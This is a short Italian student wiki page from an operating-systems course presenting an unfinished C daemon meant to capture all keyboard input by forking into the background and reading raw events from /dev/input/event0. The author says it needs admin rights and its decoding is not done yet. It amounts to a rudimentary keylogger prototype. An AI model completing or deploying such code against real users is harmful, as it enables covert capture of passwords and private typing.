Demone ruba input

From Sistemi Operativi
Revision as of 11:05, 2 March 2015 by GFede (talk | contribs) (Created page with "L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore. Devo ancora fare la parte di let...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore. Devo ancora fare la parte di lettura del carattere a partire dai valori nella struttura input_event, quindi per ora va in loop infinito.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>

#define MAX_BUFFER 16

struct input_event inputs[MAX_BUFFER];

int main(int args, char* argv[])
{

   if(fork())
   {
      //Padre
      exit(0);
   }
   else
   {
      //Figlio
      printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
      int i = 0;
      int fd = open("/dev/input/event0", O_RDONLY);

      while(1)
      {
         //read(fd, &letto, sizeof(int));
         read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);
         for(i = 0; i < MAX_BUFFER; i++)
         {
            printf("%d:%d\t", inputs[i].value, i);
            if(inputs[i].value == 'q')
            {
               break;
            }
         }
         i++;
      }

      printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
      exit(0);
   }

   return 0;
}